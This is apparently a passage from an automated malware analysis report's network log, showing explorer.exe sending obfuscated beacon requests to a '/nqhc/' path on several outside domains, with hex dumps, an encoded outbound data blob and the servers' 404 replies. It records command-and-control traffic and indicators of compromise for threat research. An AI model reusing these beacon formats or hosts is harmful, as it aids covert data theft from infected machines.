UZkFUuQk7a8sl6fjcliR~W13SXGt07B59PnGdr6SIrJZ5qGfavCAAjdfts8aCjpJMy1CA777Kq4gZYAzwcy-39FII1Jf9ZEF6-HwBXcGQHwIldO3HtV4GuIkInn1Vac7(k3N3CqBNvDxS3HTAOH5M93lkzoqSkpLQfEsdWkXufo70qCiEbbP5RLpEjmQTwgvVimcFooysXVzjJ6woJg9TNbS3uWCj31FfTQnLORE(lrYcEDHOjyh6pd53UM5Ko9LvcRLAJIzOi3bHrLMVggpRrdzDz07UwvTUGkf1s3U82cJzOk9ntgdxo6rtakQKhiL9clNF3F1qT1no23Ehhorx7HK4tpzlnRm4QPZmnmFHfANjqEqlMTCBVhTDz(HlKHZpYHWsjEDxlG2TFjLf1aMF_I4ohZVhy3r53par7qra3UDS4NWHgD7(f~MWL7WqqE5PZwQYGGFsRzPTxldga4SaSbeZrlwXtnKBMIgzaEshfp1tkaTyVYIDPdWqCDp8zAiVfw-8ms4i-NjYaCmGSH7fV5a9_JUqHKDVakjpXmrFei_MtP10c0Uo0I-RB3SEtQNzMvF8UvE06GBVMA0EQ6OzCmkyPtJaCFvYQ2nuaERI9UHjy955cIY4UFtMCgFxZ2s9XTsCBPYXam677GfE9yHobJLgD5WiVqkzpWqs0fxpQOwulTgHC(64lbmcFu2bn9NOOHsO4JsAo7EnLDV68fqRy~qjq1EwrBRbk1Vp_l5wFBrYMzx9Z
Dec 5, 2022 15:15:04.976377964 CET	11105	OUT	Data Raw: 7e 53 6a 56 67 33 68 36 42 46 65 50 55 5f 32 70 43 44 4a 61 43 70 62 56 33 4c 42 70 4f 69 6b 4e 74 79 67 6e 35 37 51 69 37 67 74 31 55 61 67 43 52 49 71 6a 48 4b 4f 6b 4e 73 34 2d 4e 6c 49 51 51 36 6b 4e 6b 38 47 7a 64 5a 33 51 64 43 55 73 34 57 Data Ascii: ~SjVg3h6BFePU_2pCDJaCpbV3LBpOikNtygn57Qi7gt1UagCRIqjHKOkNs4-NlIQQ6kNk8GzdZ3QdCUs4W1XpsS8uwwKz2jBw3U_5zT4mpeiPwkwcBzFqjHXqWX6V9nG~U9KBScccrPCtVohMRY1IlF8w2SO41ymWYDUPZZb9dOXNIcfR7ORIJbULTVqsa30j1HG~gbjMVB862Whzm73by~9zvfJtUcKhioQrkft(O4LTlH3oly
Dec 5, 2022 15:15:04.976583004 CET	11107	OUT	Data Raw: 50 2d 50 62 7e 6d 69 31 42 52 57 4d 34 52 43 63 54 4e 45 56 7a 67 65 4c 6e 79 7e 48 6c 35 30 73 6b 52 76 50 4e 54 6a 55 54 74 47 4f 52 58 42 45 57 55 55 43 6d 4d 78 30 62 58 54 73 72 58 4b 68 51 33 39 2d 52 47 69 74 35 5f 58 57 53 70 78 76 67 44 Data Ascii: P-Pb~mi1BRWM4RCcTNEVzgeLny~Hl50skRvPNTjUTtGORXBEWUUCmMx0bXTsrXKhQ39-RGit5_XWSpxvgD0Yb_jIkA2r26IGxWyZ~yw8HWJZ0V(K7DwyDrT_Z9hqguHOeJXNcFOsHHhbPsk157Z_VRilRViy6uSZUZ0aNQTUaWxc2DoJauvsU9NrUqo3qAOzB4e71LcqWZXiIqagcgUSe8JPH5~Qs5J4vGyZzDjf5a3dFyxyXgX
Dec 5, 2022 15:15:04.976922989 CET	11110	OUT	Data Raw: 51 4b 35 44 41 78 41 52 7a 38 64 6d 66 38 6c 65 69 35 58 79 71 47 61 50 51 48 6d 77 28 4d 72 4e 33 59 33 56 43 4b 61 32 64 67 43 36 50 4a 34 35 73 72 4a 6e 74 69 48 4f 56 6b 54 46 41 68 43 4c 6b 47 4b 7a 49 7a 48 62 43 70 4a 4d 33 5f 5a 6c 50 75 Data Ascii: QK5DAxARz8dmf8lei5XyqGaPQHmw(MrN3Y3VCKa2dgC6PJ45srJntiHOVkTFAhCLkGKzIzHbCpJM3_ZlPu1qFy5q2fPrTWQtcRrXGJlOIwX_iy(2(hyzAFU-PAuG7AePB2gtfhc0gp8Xi_Mijfx2k3LJQbS3zjuk16sNJh6WZ3npCRYdfJPSBhPCEZQqOigY48OKAh7qVilFv-KzxyxX0KspZCLvGXBm3AVas5uTte90ERW1lrJ
Dec 5, 2022 15:15:04.977248907 CET	11113	OUT	Data Raw: 50 63 54 43 57 6b 51 75 39 6c 75 33 51 66 36 30 50 76 53 54 54 32 59 67 4b 51 59 52 4d 78 68 71 51 4f 4c 33 50 77 49 38 43 36 59 49 54 4a 6c 75 55 52 7a 66 77 6c 43 64 75 6f 46 76 65 42 4c 4c 56 4f 69 77 28 52 63 64 57 37 55 69 7e 53 78 6b 55 64 Data Ascii: PcTCWkQu9lu3Qf60PvSTT2YgKQYRMxhqQOL3PwI8C6YITJluURzfwlCduoFveBLLVOiw(RcdW7Ui~SxkUdEvfHKCMOjKbgocShE7cmb9PaRxVxp-CEkyAMqWjxnzzzGmIYYejT2OfWRw1NJXzZjCio00DHviXzYdkFBvtDiVj8Lxp1ZaqcbtnidNt9hI59tlDTZ0Ff3jjC8PJDo-7-kSqrEiv0aX2abnLziHWNpMop6C8dYLawZ
Dec 5, 2022 15:15:04.977452040 CET	11114	OUT	Data Raw: 66 6b 4e 62 74 54 62 56 4b 47 6e 55 48 46 65 57 62 55 41 4a 67 65 55 45 46 79 28 68 48 52 7e 50 51 45 48 58 67 57 78 6f 41 71 59 52 39 52 30 2d 6f 75 6b 64 6d 47 30 70 37 4c 70 49 54 2d 6d 48 58 42 51 32 66 49 69 34 34 5f 30 49 62 79 79 5f 45 36 Data Ascii: fkNbtTbVKGnUHFeWbUAJgeUEFy(hHR~PQEHXgWxoAqYR9R0-oukdmG0p7LpIT-mHXBQ2fIi44_0Ibyy_E661JwEWVGi1oIqEozzANiLJ(vhAuYuWlkabidr2c5xP5ztw7knJIb52xL45~OOhAAW8SC6Eq9HsnniYnruFmvj26WbmzqNn27xinw6FHrvpa08dwnaH1MApHvGqdRETVP44GMX-vkZ7iVPuDnL48FhC0kT5xB47tOS
Dec 5, 2022 15:15:04.977581024 CET	11115	OUT	Data Raw: 32 68 49 52 36 46 65 73 56 4a 53 6c 76 79 6b 61 52 46 6c 6b 78 63 33 72 53 41 45 53 66 38 43 50 5a 50 45 6f 34 46 47 4d 52 6e 4f 53 34 49 35 58 78 46 52 61 39 41 39 49 54 69 62 35 6c 55 67 78 68 2d 67 4e 51 4a 6d 48 6c 2d 43 68 39 58 38 52 55 48 Data Ascii: 2hIR6FesVJSlvykaRFlkxc3rSAESf8CPZPEo4FGMRnOS4I5XxFRa9A9ITib5lUgxh-gNQJmHl-Ch9X8RUH76uHKmNDz0H_(Go8TwzYCkEvXc(fTYiiIH0skb9jBG3jG4xHuf7gzBh3SUkw5WJlk-4tpxk1oQxw3L09x1T7UnRbjfvoVnyD3gNpo1b_HlLU4OEDmNfEx3mfNs2qnKIRTs(8NQJXANjYiRL5ISN-Rx8djIqJS0ql(
Dec 5, 2022 15:15:04.977924109 CET	11118	OUT	Data Raw: 69 39 28 63 35 67 31 4a 4a 6e 51 44 6c 4c 74 34 5a 73 58 47 57 61 51 63 75 72 46 49 49 41 44 68 4d 43 66 32 6e 32 64 30 71 38 4a 58 42 33 4f 32 65 66 6d 38 64 38 64 33 57 6e 4e 39 64 52 6c 4c 71 6d 46 54 76 4e 73 4e 32 72 5a 57 77 76 52 34 72 42 Data Ascii: i9(c5g1JJnQDlLt4ZsXGWaQcurFIIADhMCf2n2d0q8JXB3O2efm8d8d3WnN9dRlLqmFTvNsN2rZWwvR4rBimaTRCw9(BvbVUL4A-mawf35Bp7H3cCFonRYxHatmViT~s2glAuXBMJkHdxdYL~vPV1N2BRtrX8Rh2Sk(y4H0I3D0gy1neJTsv1WVOMnRQIVAS9TyAWYmawKoBh7Za2ddJkcrhxJmzCeMvOl3TlecgKovEK-R1b_Z
Dec 5, 2022 15:15:04.978534937 CET	11121	OUT	Data Raw: 4d 49 78 4e 62 30 6b 70 51 70 30 46 46 34 42 4d 77 51 44 64 4b 79 77 4e 4c 46 59 42 4f 6c 58 55 70 46 55 6e 33 6c 62 78 34 39 68 63 35 33 5a 57 51 47 76 66 68 67 6d 64 28 75 77 31 73 49 5a 42 32 32 7a 4c 78 70 46 51 48 48 59 77 61 61 78 68 4b 6b Data Ascii: MIxNb0kpQp0FF4BMwQDdKywNLFYBOlXUpFUn3lbx49hc53ZWQGvfhgmd(uw1sIZB22zLxpFQHHYwaaxhKktSd3eOuQNUwkXnHOtxkdxyl9w4ktQS5iuFfbHVks0MUn(0Y0GIDn0ySl85GvwvrREe2BU7PmAwpK4336lTnl9nt2kjzENhrKTrPbRFvj(GA9hBY2zu5709MHra(FlBD1gHjoR4ohuqiIZUQvVCEwMJG1~s7JCPOqC
Dec 5, 2022 15:15:04.978740931 CET	11122	OUT	Data Raw: 48 63 6d 49 56 49 78 76 5a 69 30 50 6d 35 69 4a 59 51 5a 33 34 34 38 45 50 52 6f 72 7e 74 38 78 34 48 6c 39 47 33 55 4b 54 51 65 4d 4c 35 41 6e 77 63 63 56 46 52 42 47 53 6d 6a 4e 68 53 53 65 34 65 59 52 66 36 6b 47 4f 73 31 62 46 68 4c 6d 57 6d Data Ascii: HcmIVIxvZi0Pm5iJYQZ3448EPRor~t8x4Hl9G3UKTQeML5AnwccVFRBGSmjNhSSe4eYRf6kGOs1bFhLmWm3Vd45NZKQq(ClUYWreFcv3MlLQqONMTQcl4MaONrn6aExAL2AS4iYB4jN2bDYQiWGxQao8mtIrxX2NC4hvKXLYXOzCj_IgFAiumiZqjVLBZDSjReuyHHR3msSmY0owtWNsCfMWYbLpbGYUqDP_IpDGUzXrj_5mPHj
Dec 5, 2022 15:15:04.978910923 CET	11124	OUT	Data Raw: 68 41 38 4d 4c 56 57 50 4c 4b 39 30 65 57 6d 31 45 50 37 53 5a 33 59 35 54 71 48 4d 69 5f 6e 66 35 59 75 47 4b 6f 68 6a 43 67 4e 4d 4a 4f 33 6a 66 44 71 64 6e 4a 72 4a 51 76 53 5f 28 31 31 43 38 36 39 37 56 52 6b 52 30 58 5a 5f 59 78 5a 6c 6e 4c Data Ascii: hA8MLVWPLK90eWm1EP7SZ3Y5TqHMi_nf5YuGKohjCgNMJO3jfDqdnJrJQvS_(11C8697VRkR0XZ_YxZlnLLhV30YdOopz0hGVSHAAXBvPIIG7ui1XgvfdyyGxMrGM7j8qMSxoYoUfLyr~-PXJl(4E5k_f5BLXnb5xVD-7l~slQDTMzqDfJzUQ9p7oBq4mwLtM9jJ1fqLdomGhasu30Ed7A4OZZNFMnFzTwNphRHYCRwd7zKJWWG
Dec 5, 2022 15:15:05.134186983 CET	11143	IN	HTTP/1.1 404 Not Found Server: nginx-reuseport/1.21.1 Date: Mon, 05 Dec 2022 14:15:05 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 65 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4d 8f c1 6a c3 30 10 44 ef fe 8a 6d 4e cd a1 5a 27 b8 d0 83 10 b4 b1 43 03 4e 6a 1a f9 90 a3 12 6d 90 21 b1 5c 49 ae db bf af ec 50 c8 65 61 76 df 0e 33 fc 21 ff 58 c9 43 55 c0 bb dc 96 50 d5 6f e5 66 05 b3 27 c4 4d 21 d7 88 b9 cc 6f 97 25 4b 11 8b dd 4c 24 dc 84 eb 45 70 43 4a 47 11 9a 70 21 91 a5 19 ec 6c 80 b5 ed 5b cd f1 b6 4c 38 4e 10 3f 5a fd 3b fe 2d c4 1d 13 55 c2 3b 21 0d 81 a3 af 9e 7c 20 0d f5 67 09 83 f2 d0 46 ee 3c 72 60 5b 08 a6 f1 e0 c9 7d 93 63 1c bb d1 c9 c5 a1 b4 76 e4 bd 78 ed d4 c9 10 2e 59 c6 9e 17 f0 58 b7 cd cf 1c f6 13 0e 2a c0 30 0c cc 93 72 27 73 b4 81 f9 1e 2a eb 02 bc a4 1c ff 0d 62 ce 29 61 cc 34 36 4b fe 00 08 94 dc 0d 14 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: e9Mj0DmNZ'CNjm!\IPeav3!XCUPof'M!o%KL$EpCJGp!l[L8N?Z;-U;!\| gF<r`[}cvx.YX0r'sb)a46K0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.11.20	49892	195.24.68.23	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:17:44.890521049 CET	12094	OUT	GET /nqhc/?7nWHV=nxEpVeNHnARypVRSWPzq+Yc9yhVf8J7idG64BP0ay1SSlgh8opdyHa7T5FU3HpxZiEIb1VwF2iL8pFHt356/ltXz75Eg7AD5bw==&t0D=yFNHS0IX HTTP/1.1 Host: www.phootka.ru Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Dec 5, 2022 15:17:44.945007086 CET	12095	IN	HTTP/1.1 404 Not Found Server: openresty Date: Mon, 05 Dec 2022 14:17:44 GMT Content-Type: text/html; charset=utf-8 Content-Length: 39481 Connection: close Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 4e 6f 74 6f 2b 53 61 6e 73 3a 77 67 68 74 40 34 30 30 3b 37 30 30 26 61 6d 70 3b 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 79 61 73 74 61 74 69 63 2e 6e 65 74 2f 70 63 6f 64 65 2f 61 64 66 6f 78 2f 6c 6f 61 64 65 72 2e 6a 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 3e 0a 76 61 72 20 70 75 6e 79 63 6f 64 65 20 3d 20 6e 65 77 20 66 75 6e 63 74 69 6f 6e 20 50 75 6e 79 63 6f 64 65 28 29 20 7b 0a 20 20 20 20 74 68 69 73 2e 75 74 66 31 36 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 64 65 63 6f 64 65 3a 66 75 6e 63 74 69 6f 6e 28 69 6e 70 75 74 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6f 75 74 70 75 74 20 3d 20 5b 5d 2c 20 69 3d 30 2c 20 6c 65 6e 3d 69 6e 70 75 74 2e 6c 65 6e 67 74 68 2c 76 61 6c 75 65 2c 65 78 74 72 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 68 69 6c 65 20 28 69 20 3c 20 6c 65 6e 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 75 65 20 3d 20 69 6e 70 75 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 2b 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 28 76 61 6c 75 65 20 26 20 30 78 46 38 30 30 29 20 3d 3d 3d 20 30 78 44 38 30 30 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 78 74 72 61 20 3d 20 69 6e 70 75 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 2b 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 20 28 28 76 61 6c 75 65 20 26 20 30 78 46 43 30 30 29 20 21 3d 3d 20 30 78 44 38 30 30 29 20 7c 7c 20 28 28 65 78 74 72 61 20 26 20 30 78 46 43 30 30 29 20 21 3d 3d 20 30 78 44 43 30 30 29 20 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 55 54 46 2d 31 36 28 64 65 63 6f 64 65 29 3a 20 49 6c 6c 65 67 61 6c 20 55 54 46 2d 31 36 20 73 65 71 75 65 6e 63 65 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 75 65 20 3d 20 28 28 76 61 6c 75 65 20 26 20 30 78 33 46 46 29 20 3c 3c 20 31 30 29 20 2b 20 28 65 78 74 72 61 20 26 20 30 78 33 46 46 29 20 2b 20 30 78 31 30 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title> 404</title> <link href="https://fonts.googleapis.com/css2?family=Noto+Sans:wght@400;700&display=swap" rel="stylesheet"> <script src="https://yastatic.net/pcode/adfox/loader.js" crossorigin="anonymous"></script> <script type="text/javascript" language="javascript" >var punycode = new function Punycode() { this.utf16 = { decode:function(input){ var output = [], i=0, len=input.length,value,extra; while (i < len) { value = input.charCodeAt(i++); if ((value & 0xF800) === 0xD800) { extra = input.charCodeAt(i++); if ( ((value & 0xFC00) !== 0xD800) \|\| ((extra & 0xFC00) !== 0xDC00) ) { throw new RangeError("UTF-16(decode): Illegal UTF-16 sequence"); } value = ((value & 0x3FF) << 10) + (extra & 0x3FF) + 0x10000; }
Dec 5, 2022 15:17:44.945063114 CET	12096	IN	Data Raw: 6f 75 74 70 75 74 2e 70 75 73 68 28 76 61 6c 75 65 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 6f 75 74 70 75 74 3b 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 65 6e Data Ascii: output.push(value); } return output; }, encode:function(input){ var output = [], i=0, len=input.length,value; while (i < len) { value = input[i++];
Dec 5, 2022 15:17:44.945091963 CET	12098	IN	Data Raw: 74 61 20 2f 20 64 61 6d 70 29 20 3a 20 28 64 65 6c 74 61 20 3e 3e 20 31 29 3b 0a 20 20 20 20 20 20 20 20 64 65 6c 74 61 20 2b 3d 20 4d 61 74 68 2e 66 6c 6f 6f 72 28 64 65 6c 74 61 20 2f 20 6e 75 6d 70 6f 69 6e 74 73 29 3b 0a 0a 20 20 20 20 20 20 Data Ascii: ta / damp) : (delta >> 1); delta += Math.floor(delta / numpoints); for (k = 0; delta > (((base - tmin) * tmax) >> 1); k += base) { delta = Math.floor(delta / ( base - tmin )); } return Math.floo
Dec 5, 2022 15:17:44.945117950 CET	12099	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 68 72 6f 77 20 52 61 6e 67 65 45 72 72 6f 72 20 28 22 70 75 6e 79 63 6f 64 65 5f 62 61 64 5f 69 6e 70 75 74 28 31 29 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: throw RangeError ("punycode_bad_input(1)"); } digit = decode_digit(input.charCodeAt(ic++)); if (digit >= base) { throw RangeError("puny
Dec 5, 2022 15:17:44.945147038 CET	12100	IN	Data Raw: 30 2c 20 6c 65 6e 20 3d 20 6f 75 74 70 75 74 2e 6c 65 6e 67 74 68 3b 20 69 20 3c 20 6c 65 6e 3b 20 69 2b 2b 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 63 61 73 65 5f 66 6c 61 67 73 5b 69 5d 29 20 7b 0a 20 20 20 20 20 Data Ascii: 0, len = output.length; i < len; i++) { if (case_flags[i]) { output[i] = (String.fromCharCode(output[i]).toUpperCase()).charCodeAt(0); } } } return this.utf16.enco
Dec 5, 2022 15:17:44.945173979 CET	12101	IN	Data Raw: 30 3b 20 6a 20 3c 20 69 6e 70 75 74 5f 6c 65 6e 67 74 68 3b 20 2b 2b 6a 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 6a 76 20 3d 20 69 6e 70 75 74 5b 6a 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 69 6a Data Ascii: 0; j < input_length; ++j) { ijv = input[j]; if (ijv >= n && ijv < m) m = ijv; } if (m - n > Math.floor((maxint - delta) / (h + 1))) { throw RangeError("punycode_overflow
Dec 5, 2022 15:17:44.945200920 CET	12103	IN	Data Raw: 6f 41 53 43 49 49 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 20 64 6f 6d 61 69 6e 20 29 20 7b 0a 20 20 20 20 20 20 20 20 76 61 72 20 64 6f 6d 61 69 6e 5f 61 72 72 61 79 20 3d 20 64 6f 6d 61 69 6e 2e 73 70 6c 69 74 28 22 2e 22 29 3b 0a 20 20 20 20 20 Data Ascii: oASCII = function ( domain ) { var domain_array = domain.split("."); var out = []; for (var i=0; i < domain_array.length; ++i) { var s = domain_array[i]; out.push( s.match(/[^A-Za
Dec 5, 2022 15:17:44.945226908 CET	12104	IN	Data Raw: 65 65 6e 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 6c 6f 67 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 33 30 70 78 20 34 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 Data Ascii: een; } .logo { padding: 30px 40px; } .content { display: flex; justify-content: space-between; margin: 0 82px; } .left { display: fl
Dec 5, 2022 15:17:44.945328951 CET	12105	IN	Data Raw: 3a 20 31 35 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 65 61 64 65 72 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 Data Ascii: : 15px; } } </style></head><body><header> <div class="logo"> <a href="https://www.nic.ru/"> <svg width="100" height="42" viewBox="0 0 100 42" fill="none" xmlns="http://www.w3.org/2
Dec 5, 2022 15:17:44.945358038 CET	12107	IN	Data Raw: 32 30 2e 39 34 37 35 5a 22 20 66 69 6c 6c 3d 22 23 31 34 32 39 35 45 22 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 35 33 2e 31 35 30 39 20 31 34 2e 31 37 38 38 43 35 33 2e Data Ascii: 20.9475Z" fill="#14295E"></path> <path d="M53.1509 14.1788C53.1695 14.0678 53.1828 13.9659 53.1923 13.8744C53.2017 13.7815 53.2065 13.6867 53.2065 13.5876C53.2065 13.1011 53.0556 12.7287 52.7556 12.47C52.455 12.211 52.0227
Dec 5, 2022 15:17:44.997735023 CET	12108	IN	Data Raw: 36 34 30 35 20 31 30 2e 30 34 39 34 43 36 35 2e 39 36 37 38 20 31 30 2e 30 34 39 34 20 36 35 2e 33 35 32 31 20 31 30 2e 31 37 35 37 20 36 34 2e 37 39 32 20 31 30 2e 34 32 35 37 43 36 34 2e 32 33 31 37 20 31 30 2e 36 37 37 39 20 36 33 2e 36 31 33 Data Ascii: 6405 10.0494C65.9678 10.0494 65.3521 10.1757 64.792 10.4257C64.2317 10.6779 63.6136 11.0274 62.9346 11.475L63.2065 10.3343L58.7385 10.3351L58.2337 12.5144H59.3852L57.5098 20.6619H60.8287L62.5044 13.3418C62.9323 13.1149 63.3172 12.9453 63.6601

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.11.20	49894	192.232.217.125	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:17:50.660666943 CET	12142	OUT	POST /nqhc/ HTTP/1.1 Host: www.wellnessprodia.com Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.wellnessprodia.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.wellnessprodia.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 52 41 6f 2d 6a 64 53 6e 68 68 6a 4b 53 6d 75 33 33 41 34 61 62 6f 78 70 37 5f 53 71 58 62 32 73 76 30 37 68 28 51 77 37 70 48 77 61 6a 6b 34 71 46 68 5a 33 6e 58 43 62 79 62 6b 44 71 50 53 55 34 6a 37 57 6d 64 51 6f 6a 42 59 61 7a 70 59 75 38 72 65 43 44 75 6d 47 61 32 6b 64 79 68 78 42 47 42 34 31 5a 33 47 35 42 4b 32 42 7e 35 78 75 44 59 44 72 76 6f 47 62 47 4c 57 47 36 72 66 4c 51 46 46 32 6f 4f 46 35 75 78 45 36 77 2d 30 59 30 41 7e 34 42 58 37 43 33 68 39 38 48 6f 59 55 51 36 75 35 30 63 44 4d 45 34 55 50 6f 31 35 38 4a 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=RAo-jdSnhhjKSmu33A4aboxp7_SqXb2sv07h(Qw7pHwajk4qFhZ3nXCbybkDqPSU4j7WmdQojBYazpYu8reCDumGa2kdyhxBGB41Z3G5BK2B~5xuDYDrvoGbGLWG6rfLQFF2oOF5uxE6w-0Y0A~4BX7C3h98HoYUQ6u50cDME4UPo158Jg).
Dec 5, 2022 15:17:50.832380056 CET	12143	IN	HTTP/1.1 404 Not Found Date: Mon, 05 Dec 2022 14:17:50 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 01 May 2020 23:50:34 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 462 Content-Type: text/html Data Raw: 1f 8b 08 00 00 00 00 00 00 03 5d 92 4d 8f d3 30 10 86 ef fd 15 43 38 00 52 dd 8f a5 0b 28 1f 15 17 e0 82 d0 6a 57 70 9f c4 d3 c4 c2 f1 04 7b da a6 ac f6 bf 6f 9c b4 cb b2 f2 c1 f2 78 de 77 9e 19 3b 7f a5 b9 92 53 47 d0 48 6b b7 b3 3c 6e 60 d1 d5 45 42 2e 89 01 42 bd 9d 01 e4 2d 09 42 d5 a0 0f 24 45 b2 97 9d fa 94 fc bb 68 44 3a 45 7f f6 e6 50 24 bd da a3 aa b8 ed 50 4c 69 29 81 8a 9d 90 1b 54 86 0a d2 35 4d 3a 31 62 69 bb 59 6d e0 8b f7 ec f3 e5 14 78 b2 74 d8 52 91 1c 0c 1d 3b f6 f2 cc e5 68 b4 34 85 a6 83 a9 48 8d 87 39 18 67 c4 a0 55 a1 42 4b c5 3a 79 69 e3 b9 64 09 cf 4c 1c 1b a7 a9 9f 83 e3 1d 5b cb c7 49 12 e4 34 31 00 7c 6e 49 1b 84 50 79 22 07 e8 34 bc 6d b1 9f 0a a6 d7 ab 55 d7 bf 83 fb 31 13 a0 64 7d 82 7b d8 0d ee 2a 98 bf 94 c2 e2 03 b5 19 3c c0 98 f0 10 ad 97 67 ef 7c 39 cd 74 96 8f aa 31 5a 24 42 bd 28 b4 a6 76 29 54 03 21 f9 6c 20 8a ba 66 7d c9 19 ed 77 d8 1a 7b 4a e1 1b b1 af 0d ce 21 90 37 bb 6c e8 cc b2 4f e1 f5 06 e3 ca a0 c5 e1 da 29 e1 2e 85 4d 64 b1 c6 91 6a c8 d4 8d a4 b0 5e 5c 67 c9 d4 e7 1d 7b 7f 9a 83 34 26 40 87 35 81 66 0a ee 8d 00 f5 26 c8 22 2f fd f6 c6 12 06 1a 5e 9f aa df 43 22 c1 cf db ef c0 1e 6a 86 12 87 10 8e c2 c5 d8 65 b3 8e b6 23 f8 d5 05 1c e0 3f f4 5f e4 35 ba 88 8e 2e a8 17 fc 1f 75 5c d9 a4 38 9e 71 df af 56 17 dc a7 0f b3 80 9b 48 fb 83 05 be f2 de e9 73 f9 ab b1 7c be 8c c3 8d 43 5e 4e 3f fb 11 21 b9 04 0e ea 02 00 00 Data Ascii: ]M0C8R(jWp{oxw;SGHk<n`EB.B-B$EhD:EP$PLi)T5M:1biYmxtR;h4H9gUBK:yidL[I41\|nIPy"4mU1d}{*<g\|9t1Z$B(v)T!l 